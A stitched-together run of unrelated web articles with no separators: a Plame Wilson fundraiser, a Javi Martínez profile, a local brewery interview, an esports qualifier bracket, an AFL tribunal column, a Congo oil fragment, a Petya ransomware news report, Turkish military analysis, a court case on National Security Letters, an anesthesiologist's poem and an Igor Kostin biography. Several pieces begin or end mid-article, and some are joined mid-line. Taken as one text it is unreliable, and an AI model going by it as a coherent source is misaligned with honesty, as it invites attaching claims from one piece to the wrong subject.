Plame Wilson's undercover status was leaked during the George W. Bush administration to discredit her husband, Joe Wilson, and she eventually resigned. Her husband had published an op-ed in The New York Times discrediting Bush's public statements that Iraq's leader, Saddam Hussein, sought significant quantities of uranium yellowcake from Africa. Joe Wilson was the former chief of mission at the US Embassy in Iraq and had previously investigated the uranium allegations at the behest of the CIA.
Plame Wilson says on the GoFundMe page that "It's time to shut him down. The bad news is Twitter has ignored growing calls to enforce their own community standards and delete Trump's account. The good news is we can make that decision for them."
The former operative has a long way to go to reach her $1 billion goal for a stake in the company worth about $12 billion. As of this writing, Plame Wilson has raised about $10,000.It is a phrase that would strike fear into any opponent, no matter who you are. A few months ago Javi Martínez offered this unassuming yet terrifying description of himself. "I'd say I am the most German of all Spanish footballers," he said, conjuring images of an über-player, a technical beast capable of both tiki-taka passing as well as German discipline and endeavour. No wonder Bayern Munich paid Athletic Bilbao a record €40m (£34.2m) for him last summer.
Barcelona, who face Bayern and Martínez at the Allianz Arena on Tuesday night, and Real Madrid were interested, as were, reportedly, Manchester United but Bayern were desperate to get their man. The club president, Uli Hoeness, admits they probably paid €10m (£8.5m) too much for Martínez – "It is a lot of money for a water carrier," he said – but they felt he was exactly the type of player lacking when they lost the Champions League final against Chelsea last May.
Martínez has been described as a modern-day Stefan Effenberg, which is no bad thing in Bavaria. The former Germany midfielder, a wonderfully talented footballer with a fondness for an altercation (just ask Berti Vogts), won the Champions League in 2001 and three Bundesliga titles during two stints at the club. Now Martínez has been asked to deliver Bayern's fifth European Cup, just as "Effe" led the club to their fourth two years after that traumatic defeat by Manchester United at Camp Nou.
And Martínez, a 24-year-old Basque, is more than happy to be compared with the man known as "Der Tiger" to his team-mates. "My task is to create a balance for the team," Martínez told the Süddeutsche Zeitung. "I am, so to speak, here to help other players. I should make sure that there is equilibrium between attack and defence. I have heard the comparisons to Effenberg and he was certainly a player who covered a lot of kilometres. Xavi and [Andrés] Iniesta are definitely not like that. [Sergio] Busquets a little bit more but it could well be that I am, from the current Spanish internationals, the player who resembles Effenberg the most. You could say that I am the most German of all Spanish footballers."
Martínez is not the most stereotypical of Spanish footballers. He is unusually tall (among the current international crop), at 6ft 3in, and there is a hardness to him not always noticed in his Spain team-mates. In 201 games for Athletic he was shown 58 yellow cards and was sent off five times. This is a man who does not shirk a challenge.
There is a brilliant picture from the Under-21 European Championship in 2009 when Mesut Ozil is trying some fancy-dan tricks in the middle of the pitch, completely unaware that Martínez is flying in two-footed from the left, with his studs seemingly aiming for the Germany playmaker's ankles. Pretty? No. Effective? Yes.
On Tuesday night against Barcelona (so the Bayern plan goes, at least), he will be a giant pillar of strength amid an ocean of Catalan twinkle toes. Not that Martínez will have to do all the hard work himself. The Spaniard has been effusive in his praise of his partner in defensive midfield, Bastian Schweinsteiger, saying after the recent game against Wolfsburg that the Germany international is "a bull" and "a force of nature".
Schweinsteiger has returned the praise, saying "Javi is such an intelligent player, he does so many things right".
It has not been all straightforward for Martínez during his first season in Germany. He had a ludicrously short break last summer, playing at both Euro 2012 and the London Olympics after a gruelling season with Athletic in which they reached the Europa League final, and he struggled with minor injuries for the first six months at Bayern. Last month he was even dropped from the Spain squad but there is no doubt in the player's mind that he made the right decision in moving to Munich last summer.
Martínez is learning German with a passion and has, perhaps more worryingly, recently declared his love for German music in general and the rapper Sido in particular. He has five 90-minute German lessons a week and has recently taken it upon himself to "study" TV footage of his team-mates' post-match press conferences. Only a very committed man would do such a thing.
But the hardcore language training seems to have paid off. Martínez says there is now only one man he now struggles to understand, the assistant coach Hermann "Tiger" Gerland. "But that is probably not a disaster," he says. "Even the German players can't understand him." Martínez claims he now grasps 60-70% of "football-German" and that he speaks to Schweinsteiger in "a bit of German, a bit of Bayrisch and quite a bit of English".
But while the language has been easy to pick up there are still some aspects of life in Munich that the Spaniard finds somewhat baffling. "People are so honest here," he told the Munich paper tz recently. "Take the newspaper vending machines. They trust people to put money in [despite the fact that they are unlocked]. I can't believe that. That would never work in Spain. Also, another thing, the overall volume here in Munich is much lower than what I am used to. Recently I was out with a few friends in town and it felt as if we were being the noisiest people in the world. People here are much quieter and much more respectful."
And respect is something Martínez learned about early in his life, recalling once how his mother used to chase him around the house with anything she could grab – a frying pan or, er, slippers. And what had Martínez done to incur her wrath? Not much: destroyed a flower pot with a football, set fire to the bed linen or put his brother's schoolbooks in the kitchen sink – and then turned on the tap.
He is an intriguing man, Javi Martínez, and a very good footballer. Barcelona already know this but that does not mean they know how to stop him.When I first had Cellar Dweller last year I was not quite amazed. I remember trying 3 or 4 and found them all to be good, not great and certainly not astounding. That changed drastically a few weeks ago at Village Wine Cellar in Lebanon. I had the Doorbell IPA that went through a Hop Rocket right before kegging and man was it amazing (sadly as I found out there has only been one sixth-barrel of that so far). That motivated me to get me off my ass, pay a visit to the Cellar Dweller, and help you all know a bit more about them.
The fist things to know is that, as of now, Cellar Dweller is one guy, Steve Shaw, and he’s in a… well, in a cellar. Unlike most breweries who own their own warehouse, Cellar Dweller has the advantage of being beneath the Valley Vineyards Winery. Steve is part of Valley Vineyards family and they were happy to lend him a hand when he got the idea for Cellar Dweller.
About Steve Shaw
How’d you get into “good” beer? When I was about 21, I did a road trip with my brother, and it was the first time I had any craft beer. I’d been drinking Bud Light and Budweiser, and we went up to a little local brewery, and I was like man this is what beer is supposed to be like. This was before you could go to Kroger or anywhere and buy craft beer, so I started brewing it, and it just developed from there.
What is local/craft beer to you? Anything that is 100 miles from your area.
What has the local brewing community been like? It’s been awesome man. I’ve gained a lot of friends that I think will be lifelong friends. Copper Head is a beer that I’ve been brewing at home for years and had it perfect. I got on the system here and kept running into problems. I sent some beers down to Kevin [Moreland of Listermann’s/Triple Digit], we talked about my process, and as soon as he tasted it, he knew what it was and helped me solve the issue. What other industry, where you’re directly competing with someone, can you go down there and get help with your beer?
You. Desert island. Three beers. What do you choose? Sam Adam Boston Lager Blank Slate Brewing Company Fork in the Road MadTree Psychopathy
About Cellar Dweller
How and when did Cellar Dweller get going? I’m a brother in law of Kenny, who owns the winery, I was never a wine drinker, so I’d always bring the beer in. So I came to Kenny and talked to him about bringing some beer into the winery. He was a little hesitant, but my beer started getting better and better at the family events. So my nephew and I talked him into it and here we are! We started brewing February 21st, 2012 and are 15 times over our first-year numbers, almost 400 barrels. New 10 barrel system will be online in the next 2 – 3 weeks plus new bright tanks will be a total of 60 barrels on hand at any time.
Is there a story behind the name? For years everyone that worked in the cellar at the winery, we called them cellar dwellers. They go downstairs in the morning, and they don’t come back up till the end of the day. We threw the name out there and kept trying different names, but that one kept sticking.
What is your brewing process, from brainstorm to bottle shelf? I go off of my palate, and that’s me becoming a brewer then having to brew for someone else. I was brewing a beer that I liked, every beer I brewed I liked. Someone else would try and say they don’t like it. Then I started to have to brew beers other people liked and that was the hardest adjustment. Out of our nine beers, there are probably four that I really like, and the others are like yeah I can drink ’em. My session beer is 50 IBU and if I’m sitting down drinking it’s 100+, that’s just my style and what I like. So I sit down and make a recipe trying to think about what people like. We’ll make a batch and bring it up and see what people think if they like it I keep the notes.
How has everything been going over all? Steve kind of answered this earlier saying they were 15 times over initial projections. Later on in the interview he had the following “the first full year of the brewery the dinner crowd didn’t swing off as fast in the fall as it has in years before. The crowd leveled out definitely but didn’t fall off as fast.”
Are any of your ingredients local? If so which: All of our grain is out of Chicago, and I try to buy as much as I can locally. We’re going to start growing hops in the vineyard, start about 5 acres and see how they rate with other hop areas. We’ll grow all different varieties and see how Ohio can do at growing hops.
Where can folks go to get Cellar Dweller? Valley Vineyard’s obviously Village Wine Cellar in Lebanon Arthur’s in Hyde Park Wildflower Cafe in Mason General Denver Hotel in Wilmington The Pub in Beavercreek, soon to be two more of their locations Putters 2 Put in Maineville Paxton’s Grill in Loveland Firehouse Grill in Blue Ash
When can we expect to see bottles? Once we get the new system up and running the plan is that about 50% of our production will go into bottles. But we’re also looking into cans; we don’t have a packaging system yet. I think the market is there for cans, and I think it’d do very well. We have a company that’s starting up in Columbus, Buckeye Mobile Canning, everything’s packed in a 26-foot box truck, they hook their hoses up to your bright tank, run it through everything leave the pallets of cans and they’re gone! It’ll be towards the middle/end of summer before that happens.
Anything else that you want folks to know?
We’ll be adding a new upstairs area, calling it The Loft at Valley Vineyards. It’ll be more of a pub feel more of a craft beer style tap room where you can come in and have a bar area and a table sitting area. Our beers are constantly evolving, and we’re going for full distribution by the end of summer.
Festival info – We had this festival for almost 30 years but scaled it back, but it back on the drawing board, and came back with a new idea. Now it’s the Valley Vineyards taste of Warren County. We’re trying to bring in more local foods and local restaurants, as well as a few other breweries. [Listermann/Triple Digit & Blank Slate Brewing Company have been confirmed since the time of the interview.] For last two years, it was only Saturday night, but this year we’re bringing Friday night back in. The hours are Friday 5 – 11 pm and Saturday 11 am – 11 pm. We’ll have live music, obviously the food and wine, a couple of guest breweries. Here is the list of events for both days and you can get tickets here.
Steve was kind enough to hook me up with a bottle of his Copperhead pale ale as a taste of what’s to come and trust me that there is some great stuff to come. I don’t want to give this a full review as it may be a bit different then what’s on draft now and what will eventually be bottled/canned. The quick review is that is a super heady with a great hazy amber brown color, generous citrus aroma & flavor, nice hop bitterness and flavor balanced by bready caramel malt flavor. I’m excited to have some more of this once it starts rolling out.
For more info on Cellar Dweller check their web page and Facebook page.
This post is the third post in my series on knowing your local brewery. If you missed the first two, then go back and get some info on Rivertown and Blank Slate Brewing Company.The European Qualifier for the Intel Extreme Masters: Toronto will allow 2 players to qualify directly into the group stage.
Information [ edit ]
Players must be located in Europe or Africa at the time of either Stage 1 or Stage 2 to be eligible to compete in the qualifiers.
Players must be at least 16 years of age by August 27th 2014.
Hotel and flight cost are paid for in full by ESL for the winners.
Format [ edit ]
Two stages:
Stage 1: Single elimination bracket. Top 8 advance to stage 2.
Stage 2: Double elimination bracket of 16 players consisting of the 8 stage 1 winners and 8 invites. Top 2 are qualified for IEM Season IX - Toronto.
Qualified Players [ edit ]
Results [ edit ]
Stage 1 [ edit ]
Notable Participants [ edit ]
Bracket [ edit ]
Click [show] on the right to view the Bracket Stage 1 Complete bracket: http://www.esl.eu/eu/sc2/masters/season9_toronto_qualifier_day1/rankings/ Bracket A [ edit ] Round of 32 Golden 2 souL 0 Bly 0 sLivko 2 BlinG 1 DieStar 2 Namshar 2 ToD 1 Round of 16 Golden 2 sLivko 0 DieStar 1 Namshar 2 Qualified Golden Q Namshar Q Bracket B [ edit ] Round of 32 YoDa 2 ParanOid 0 Indy 1 uThermal 2 Miniraser 2 Majestic 0 Elazer 0 Nerchio 2 Round of 16 YoDa 2 uThermal 0 Miniraser 1 Nerchio 2 Qualified YoDa Q Nerchio Q Bracket C [ edit ] Round of 32 Sacsri 2 Senin 0 Zanster 2 elfi 1 Tefel 0 MarineLorD 2 Socke 2 Happy 1 Round of 16 Sacsri 2 Zanster 0 MarineLorD 0 Socke 2 Qualified Sacsri Q Socke Q Bracket D [ edit ] Round of 32 Grubby 2 Strelok 0 Jona 0 NightEnD 2 SortOf 2 Revolver 0 DIMAGA 1 First 2 Round of 16 Grubby 1 NightEnD 2 SortOf 1 First 2 Qualified NightEnD Q First Q
Stage 2 [ edit ]
Participants [ edit ]
Bracket [ edit ]
Official bracket: http://www.esl.eu/eu/sc2/masters/season9_toronto_qualifier_day2/rankings/
Round of 16 MC 1 Socke 2 Golden 2 Patience 1 MMA 2 Nerchio 1 YoDa 2 Snute 0 jjakji 2 NightEnD 0 Sacsri 2 VortiX 1 Welmu 1 First 2 Namshar 1 HyuN 2 Quarterfinals Socke 1 Golden 2 MMA 0 YoDa 2 jjakji 1 Sacsri 2 First 2 HyuN 1 Semifinals Golden 0 YoDa 2 Sacsri 0 First 2 Winners' Finals YoDa 1 First 2 Losers' Round 1 VortiX 2 NightEnD 0 Namshar 0 Welmu 2 Patience 2 MC 1 Snute 2 Nerchio 1 Losers' Round 2 MMA 2 VortiX 1 Socke 2 Welmu 1 HyuN 2 Patience 1 jjakji 2 Snute 1 Losers' Round 3 MMA 2 Socke 0 HyuN 2 jjakji 1 Losers' Round 4 Sacsri 1 MMA 2 Golden 0 HyuN 2 Losers' Semifinals MMA 1 HyuN 2 Losers' Finals YoDa 2 HyuN 0 Grand Finals First Q YoDa QTHE AFL's judiciary process is an unmitigated, embarrassing mess.
It is clogged to the point of suffocation by its points and gradings system. There is confusion even within its own structures, with the Match Review Panel too often having no symmetry with the tribunals. Outcomes and decisions are too often conditional.
Conditional to public outrage one week.
Conditional to the accused being a good bloke in another week.
Conditional to the superstar factor, as in the higher profile and standing a player has, the more leniently he will be treated.
Conditional, as in Harvey's case, to the "he can't miss a final for that" argument.
AFL football operations boss Mark Evans' thorough review of the entire system needs to ensure, by the start of 2015, a model which, simply, seeks to address one matter only: the appropriate penalty for the infringement in question.
The current system needs not only to be blown up, but given a name change, for there should be no future link to the bomb of a system introduced by Evans' predecessor Adrian Anderson.
No more Match Review Panel, in name at least, and no more Mark Fraser, the chairman of the MRP. Unfortunately for Fraser, the system has "got" him too, as the tribunal's decision to clear Harvey of head contact with Joel Selwood made a mockery of words he said publicly a month ago
"Absolutely," he said when asked to revisit the controversial decision in round two which found Nathan Fyfe guilty of illegal head-on-head contact against Gold Coast's Michael Rischitelli.
"Yes, it is a definite rough conduct charge the way we grade things this year.
"With that same incident occurring this weekend, exactly the same penalty would occur. Whether it was Nat Fyfe or whether it was Rischitelli, it would be the same penalty."
Well, no it wouldn’t be, Mark.
Protection of the head is conditional under the current system. Your Match Review Panel actually made the right decision in producing a finding which had Harvey missing a week of football.
But the tribunal let Harvey off after peculiarly allowing many outside factors into its deliberations, including allowing Selwood to give evidence and in accepting the notion that Selwood had a propensity to be "a bleeder".
There are no two exact incidents on a football field. But there were clear parallels between Harvey's act and Fyfe's. Both players chose to bump when they had other options, both players made head contact, on both occasions their opponents were forced from the field.
And here’s the rule:
Rough Conduct (head-high contact). Where in the bumping of an opponent (whether reasonably or unreasonably) the player causes forceful contact to be made with any part of his body to an opponent's head or neck unless:
a. the player was contesting the ball and did not have a realistic alternative way to contest the ball; or
b. the forceful contact to the head or neck was caused by circumstances outside the control of the player which could not reasonably be foreseen.
Putting the Harvey-Selwood incident to that rule's test, it's clear-cut Harvey was guilty.
But hey, he couldn't miss a final – a preliminary final! – for that, now could he? Well, yes he could, given the points system actually worked accurately on his initial adjudication |
our boss, Major Feruzi, who would then hand it to us," one of the soldiers explained.
They said they were paid up to $300 (£200) a month during their time with Soco, far more then their regular salaries of about $80.
The soldiers we spoke to denied assaulting locals or being ordered to do so.
They said their role was to protect Soco staff from potential threats and to sometimes ask locals to get out of the way of the company's boats.
We contacted Pieter Kock's employer, a South African security contractor, which declined to comment on the allegations and referred us back to Soco.
The park contains about 300 mountain gorillas - about a third of the world's total population.
The Congolese government, which declined to comment on the alleged payment of soldiers by the company, is adamant that oil exploitation in the park would earn billions of dollars - far more than its earnings from tourism.
"You, Europeans, you have eaten all your animals," Joseph Pili Pili, a senior official from the Congolese Ministry of Hydrocarbons, told the BBC, "and now you ask us to turn our backs on money the country desperately needs, the people desperately need, to protect animals?"FOX NEWS - Another widespread cyber attack is causing massive disruptions around the world Tuesday.
Pharmaceutical giant Merck (MRK) became the first major U.S. company impacted by the ransomware, annoucing mid-day Tuesday its "computer network was compromised" as part of the global hack.
Ukraine has been hit particularly hard as government and company officials have reported serious intrusions across the Ukrainian power grid, banks and government offices. The country's prime minister says that the cyber attack affecting his country is “unprecedented,” but “vital systems haven’t been affected.”
Russia’s top oil producer Rosneft has said it has been hacked, as well as Danish shipping giant A.P. Moller-Maersk and Britain’s WPP—the largest advertising company in the world.
Ukrainian Deputy Prime Minister Pavlo Rozenko on Tuesday posted a picture of a darkened computer screen to Twitter, saying that the computer system at the government’s headquarters has been shut down.
There’s little concrete information about who might be behind the disruption, but technology experts said it bears the hallmarks of ransomware, the name given to programs that hold data hostage by scrambling it until a payment is made.
“[These type of attacks are] absolutely becoming more common,” SonicWall president Bill Conner told FOX Business Tuesday. “This is a threat vector that is increasing dramatically and creating a lot of havoc.”
Security experts say Tuesday’s cyberattack shares something in common with last month’s WannaCry attack: Both spread by using digital break-in tools purportedly created by the U.S. National Security Agency and recently leaked to the web.
Conner also compared the Petya malware — what is spreading now — to WannaCry in the sense that it is a reinvented version of itself and mutations can happen in real-time.
“These new threats have increased … someone can create some of these for disruption and other people can [initiate] them for money,” he said.
It’s not clear whether or why the ransomware has suddenly become so much more potent, but Bitdefender analyst Bogdan Botezatu said that it was likely spreading automatically across a network, without the need for human interaction. Self-spreading software, often described as “worms,” are particularly feared because they can spread rapidly, like a contagious disease.
“It’s like somebody sneezing into a train full of people,” said Botezatu. “You just have to exist there and you’re vulnerable.”
Conner said it is important every business have a plan in place in the event of a cyber-attack because the onset of these type of attacks are just beginning.
The world is still recovering from a previous outbreak in May of ransomware, called WannaCry or WannaCrypt, which spread rapidly across the world using digital break-in tools originally created by the U.S. National Security Agency and recently leaked to the web. That cyber attack impacted everything from major international companies to hospitals.
This particular variant of ransomware leaves a message with a contact email; several messages sent to the address were not immediately returned.
READ MORE @ FOX BUSINESSThe Turkish generals are no longer afraid to speak out and they exert influence over government policies. Erdoğan invited the military back into the power equation when, faced with the Gülenist challenge to his power, and in need of a new ally, he gave the signal to open the prison doors for the convicted officers. But more than anything else, it is the persistence of an authoritarian mindset that sets the stage for the recurrent assertion of the power of the military in Turkey.
BACKGROUND: On November 3, a retrial of 236 acting and former military officers -- who in 2012 had been convicted to prison sentences up to twenty years for having allegedly attempted to overthrow the government of the Justice and Development Party (AKP) – started at an Istanbul court. The 236 suspects of the infamous “Sledgehammer” case include former Navy Commander Admiral Özden Örnek, former Air force commander İbrahim Fırtına, former 1st Army Commander General Çetin Doğan, retired General Engin Alan and former Commander of the War Academy General Bilgin Balanlı. The officers had been found guilty of having prepared a plan – codenamed “Sledgehammer” – at a seminar at the War Academy in Istanbul in March 2003, which was alleged to outline how the AKP government was going to be undermined by acts of sabotage against mosques and by shooting down Turkish war planes; the ensuing chaos was supposed to lead to the fall of the AKP government.
The defendants vehemently denied the charges. Critics pointed out that the case was based on apparent fabrications and that the supposed “evidence” was doctored. Nonetheless, the verdicts were acclaimed by pro-democracy intellectuals and pundits in Turkey, but also internationally, as a major advance for the cause of Turkish democracy.
In June 2014, little more than two years after the convictions, the constitutional court ruled unanimously that the defense rights of the 236 Sledgehammer suspects had been violated. In February 2014, the constitutional court had similarly voided the life sentence against former Chief of the General Staff İlker Başbuğ, who had been convicted in yet another infamous case, the Ergenekon case, ruling that his rights had been violated.
In its June ruling, the constitutional court stated that the Sledgehammer case was flawed, pointing out that mishandling of digital evidence had violated the convicted officers' rights. The refusal of the initial trial to hear testimonies requested by the defendants was another of the reasons cited for overturning the convictions.
When the retrial started on November 3, the former Chief of the General Staff (2002 to2006) General Hilmi Özkök and former Army commander Aytaç Yalman gave their testimony for the first time. Özkök testified that he had heard coup plot rumors during his term in office from the media and anonymous letters, but that he had concluded that these were not substantiated. "I did not receive information that a coup plan was made. There were some rumors but they were not serious enough for a case to be opened or an investigation launched against anyone," said Özkök.
The supporters of the Sledgehammer case had claimed that General Özkök and former army commander General Yalman had prevented the coup from being carried out. But Yalman said that "I have neither heard of nor tried to prevent, as claimed, such a coup plan. The seminar was held under my orders, but I could not attend."
Özkök and Yalman had faced harsh criticism from the families of their convicted colleagues for their reluctance to refute claims that they had known about and thwarted a coup plot. In interviews, Özkök had been circumspect, which sustained the impression – propagated by the liberal pundits who supported the Ergenekon and Sledgehammer cases -- that he had helped “save democracy” during his tenure as Chief of the General Staff.
In hindsight, it seems that the reluctance of Hilmi Özkök to speak out in the way he now has done was grounded in the fear that he too otherwise could have ended up in jail. The testimonies of the former generals in favor of their colleagues are but one of many signs lately that the military is no longer in the grip of the fear that held it back for years.
IMPLICATIONS: The Sledgehammer convictions, as well as the conviction of General Başbuğ in the Ergenekon case, were held to be the ultimate proof that the military had been domesticated and that it had ceased, once and for all, to be of any political relevance. That was supposed to have been Erdoğan’s historical accomplishment. Yet the fact that the convictions of the military have been overturned – and no one doubts that the Sledgehammer retrial is going to result in the acquittal of all the suspects -- and the convicted officers have been set free in a sense restores status quo ante.
It was the “civil war” that broke out late last year between the new owners of the Turkish state -- Erdoğan’s AKP and the followers of the cleric Fethullah Gülen -- that brought the military back into the power equation. Erdoğan had had no qualms when Gülenist prosecutors, judges and police officers carried out the operation against the military; that operation could only take place because it had the approval of Erdoğan.
But when the Gülenists turned their arsenal against Erdoğan, launching the graft probes on December 17 and December 25, 2013 against Erdoğan’s close circle and family members, he turned to the military in his search for a new ally. Yalçın Akdoğan, then Erdoğan’s chief advisor, today deputy prime minister, announced the change of the attitude toward the military when he in December 2013 wrote that the military had been the victim of a conspiracy. Subsequently, Erdoğan let it be known that he favored a retrial of the convicted officers. Upon the release of the former Chief of the General Staff Başbuğ in February 2014, Erdoğan called him and expressed his relief over his release.
Fethullah Gülen, meanwhile, expressed his dissatisfaction with the retrial of the military officers. Interviewed in the Wall Street Journal on January 21 of this year, Gülen said that “Retrial in the light of new evidence or demonstration of improprieties in the legal proceedings is a universal human right. However, if the intention is to completely abolish the verdicts of thousands of trials, then such a move would both undermine the credibility of the justice system and reverse the democratic gains of the past decade. It would be very difficult to explain such a move to the 58 percent of the Turkish population who supported the constitutional amendments of 2010 which made it possible to try former coup perpetrators in civilian courts for the first time in Turkish history.”
Historically, the military in Turkey has been empowered when conflict is rife and when security threats to the state mount. The conflict that ripped apart the Islamist power coalition also flung open the prison doors for the military; what have further set the stage for a reassertion of military power are the mounting security threats along Turkey’s southern border. The growing threat – as the Turkish military is inclined to see it – of Kurdish empowerment offers it another golden opportunity to assert its power.
Indeed, the military no longer holds back its views; after years of muteness, the General Staff has since the beginning of this year once again taken to regularly issuing statements to the public on its website. These are almost exclusively related to the Kurdish issue. On August 30 this year, General Necdet Özel, the Chief of the General Staff, went a step further when he publicly vented his displeasure with the “solution process” that the AKP government has been conducting with the Kurdistan Workers’ Party (PKK). General Özel expressed dissatisfaction at not having been consulted by the government. He reminded the country that the military’s “red lines” – the unity and territorial integrity of the nation – remain unchanged. And he vowed that the armed forces will “act accordingly” if those red lines were to be crossed. Such action may already have been taken.
According to the main pro-government daily Yeni Şafak, the military vetoed the government’s plan to assist the Kurdistan Regional Government (KRG) in northern Iraq when the militants of ISIS threatened to overrun the capital Erbil. Abdülkadir Selvi, the chief political correspondent of the daily, wrote that the failure to aid the KRG -- with which the AKP government entertains a close relationship -- was regretted by the government, but that “a certain mechanism within the state” had refused to go along with helping the KRG. There is no doubt that the “certain mechanism” to which he referred to is the military.
CONCLUSIONS: Erdoğan invited the generals back into the power equation when, faced with the Gülenist challenge to his power, and in need of a new ally, he gave the signal to open the prison doors for the convicted officers. It is no coincidence that the General Staff has returned to issuing frequent statements to the public and that the Chief of the General Staff in no uncertain terms has warned the government not to cross its “red lines.” The generals are no longer afraid to speak out and they exert influence over government policies.
But more than anything else, it is the persistence of an authoritarian mindset that sets the stage for the recurrent assertion of the power of the military. Ultimately, the military in Turkey has been able to wield power because, even though democratically elected, the civilian rightists who have been in charge of the government for most of the time have themselves been authoritarians. When also those who are democratically elected almost always turn out to be yet another embodiment of authoritarianism – Erdoğan is far from unique in this respect – the moral defense of democracy is hollowed, and other expressions of authoritarianism are inevitably legitimized.
Halil M. Karaveli is Senior Fellow and Editor of the Turkey Analyst, at the Central Asia-Caucasus Institute & Silk Road Studies Program Joint Center.
(Image Attribution: http://www.basbakanlik.gov.tr/)Can the government make demands for data entirely in secret?
That was the question yesterday before a federal appeals court in San Francisco, where government lawyers argued that National Security Letters — FBI requests for information that are so secret they can’t be publicly acknowledged by the recipients — were essential to counterterrorism investigations. The telecom company and internet provider that have challenged the National Security Letters (known as NSLs) still can’t even be named.
Last year, in a sharp rebuke to the government, a judge found that the gag order that comes with NSLs violated the First Amendment. The nondisclosure rule “significantly infringe[s] on speech regarding controversial government powers,” U.S. District Judge Susan Illston, of Northern California, wrote in March 2013. She also ordered that the FBI stop sending out NSLs entirely, but put the order on hold to give the government a chance to appeal.
The government, predictably, did appeal, and in arguments yesterday before the 9th Circuit, a Justice Department lawyer said that they would lose “an extremely useful tool” if the court upholds the ban on NSLs. (Documents related to the case can be found here.)
The letters, the reach of which was expanded under the Patriot Act in 2001, let the FBI get business records from telephone, banking, and Internet companies with just a declaration that the information is relevant to a counterterrorism investigation.
The Electronic Frontier Foundation, which is representing the unnamed communications companies, argues that the FBI can get such information with a subpoena or another method with some judicial oversight.
One of the judges seemed to question why there was no end-date on the gag orders, and why the burden was on the recipients of NSLs to challenge them. “It leaves it to the poor person who is subject to those requirements to just constantly petition the government to get rid of it,” said the judge, N. Randy Smith.
The FBI sends out thousands of NSLs each year – 21,000 in fiscal year 2012. The Justice Department’s Inspector General has put out several reports in recent years critical of the bureau’s use of the letters, and President Obama’s surveillance review group recommended stricter standards for them earlier this year.
Google, Yahoo, Facebook and Microsoft filed a brief in support of the NSL challenge, arguing that they want to “publish more detailed aggregate statistics about the volume, scope and type of NSLs that the government uses to demand information about their users.”
Twitter also announced this week that it was suing the U.S. government over restrictions on how it can talk about surveillance orders. Tech companies can currently make public information about the number of NSLs or Foreign Intelligence Surveillance Court orders they receive in broad ranges, but Twitter wants to be more specific.
Photo: Chip Somodevilla/Getty ImagesThe Poetic Intimacy Of Administering Anesthesia
Enlarge this image Sara Wong for NPR Sara Wong for NPR
According to Audrey Shafer, there is something profound in the moment a patient wakes up from surgery.
She would know — she's an anesthesiologist. She's responsible for people when they are at their most vulnerable: unconscious, unable to breathe on their own or even blink their eyes.
As a result, Shafer says, a kind of intimate trust forms between her and her patients. It's this closeness that moves her to write poetry about medicine.
Shafer is an anesthesiologist and professor at Stanford University School of Medicine. She directs a program called Medicine and the Muse, which combines the arts, including poetry, with the practice of medicine. Her poetry has appeared in medical journals and poetry anthologies.
Poetry, she says, is a natural means of translating the murkiness of what happens to the brain under anesthesia.
"Anesthesiologists tend to be viewed as more knob-and-dial oriented than people-oriented," she says. But, Shafer argues, that couldn't be further from the truth. When patients finally come out of surgery, she's one of the first people to welcome them back to their conscious experience of the world.
"They can be quite grateful right at that moment they realize 'I've woken up. The surgery is done. I'm OK. I'm back.'" Shafer says. "The anesthesiologist gets to witness that moment."
Listen to Audrey Shafer read her poem 2:38
(Based on Robert Schumann's Third String Quartet, Movement 1)
By Audrey Shafer
We meet in the holding room; a paper dress covers your tattoos
At any moment, your craze of fragile vessels
could spill, fill the sea cave cradling your mind
Your wife holds your hand until it is time for us to go
I guide you as you blow through a straw
swimming across your long day of surgery
Five hours, and five more: surgeons untangle
a crevice of your brain, clamp the feeder, reassemble your skull
You re-surface, blinking like a newborn
ride in your wide white boat to intensive care;
nurses and doctors give and take report
you speak but I do not understand
Hhhh-m you say, and louder Hhhh-m!
Head? I ask Hurt? Hand? Heart? Does your chest hurt?
I am wrong and wrong again--
You smile and try once more:
Hug
me
Hug you? I repeat, and the entire team turns
to stare silently:
I lean over wires, bandages, the spaghetti of tubes, the upright side rail
and give a most awkward hug
The team resumes its buzz: monitors bleep, pagers bark,
phones ring, keyboards clack, bellows wheeze, alarms blurt
the unit dins in unscored discord
But for two notes, harmony presided over all--
in a falling fifth, a two-toned sigh, you told me you know;
you know you landed on the warm sands of recovery:
Hug
me.
April is National Poetry Month, and Shots is exploring medicine in poetry through the words of doctors, patients and health care workers. The series is a collaboration with Pulse: Voices Through The Heart Of Medicine, a platform that publishes personal stories of illness and healing.Igor Fedorovich Kostin (27 December 1936 – 9 June 2015) was one of the five photographers in the world to take pictures of the Chernobyl nuclear disaster near Pripyat in Ukraine, on 26 April 1986. He was working for Novosti Press Agency (APN) as a photographer in Kiev, Ukraine, when he represented Novosti to cover the nuclear accident in Chernobyl. Kostin′s aerial view of the Chernobyl nuclear power plant was widely published around the world, showing the extent of the devastation, and triggering fear throughout the world of radioactivity contamination the accident caused, when the Soviet media was working to censor information regarding the accident, releasing limited information regarding the accident on 28 April 1986, until the Soviet Union′s collapse in 1991.
He had captured the ongoing problems with contamination suffered by human beings and animals. His photos reportedly include those of the many animals born with deformities in the Chernobyl area, when has returned many times to the Zone of alienation to bring the problems to the attention of the world. Kostin died in Kiev in 2015 at the age of 78 in a car accident.[1] He was married to Alla Kostin.
Early life and conscription [ edit ]
Kostin was born in Bessarabia, in Greater Romania (present day in Moldova), on 27 December 1936, three years before his father, Féodor Kostin, an economist working in a bank, was sent to fight the war for the newly created Moldavian SSR, after Greater Romania was forced to cede Bessarabia to the Soviet Union under the Molotov–Ribbentrop Pact. Before the cession, the Kostin family relocated to Kishinev, Moldavian ASSR (present day the capital city of Moldova, Chişinău). They subsequently resided in the suburb of Kishinev for the next thirty-two years, when his father was sent to the war.
From June 1941 onward, under German and Romanian occupation, Kostin was forced to feed on leftovers disposed by the Germans and better off Moldavians with his mother, Nadejda Popovitch, since his father was the sole breadwinner in the family, and there was widespread famine during the occupation. He and his mother frequently transported food such as borscht illegally to the German concentration camps around Kishinev for the Soviet prisoners of war. It was later revealed by Kostin in his photographic book[2] that his mother hoped to find his father in the camps, only to realise later that his father was killed during a bombing years later.
In August 1944, the Soviet Union re-established control over Moldavia, and drove the German and Romanian forces out of Moldavian SSR. The entrance of Soviet forces was ushered by aerial bombardment, and almost killed the Kostins, when a bomb obliterated their residence, when they hid under a bed. They later hid near a German armored vehicle, until Soviet forces enter the city.
The Soviet Union began purging native Moldavians, and send richer farmers and the intelligentsia to concentration camps in Siberia. Private business operations became illegal, and Kostin’s mother operated a small family business, at the risk of being exposed to the officials by neighbors. In the mornings the Kostins would wake up to the clamor of some of their neighbors packing up and being deported. It was at this point of time that Kostin turned into a gangster and lost interests in schooling. His early life turned into a game of survival of the fittest. Most people were preoccupied with obtaining the basic necessities of life.
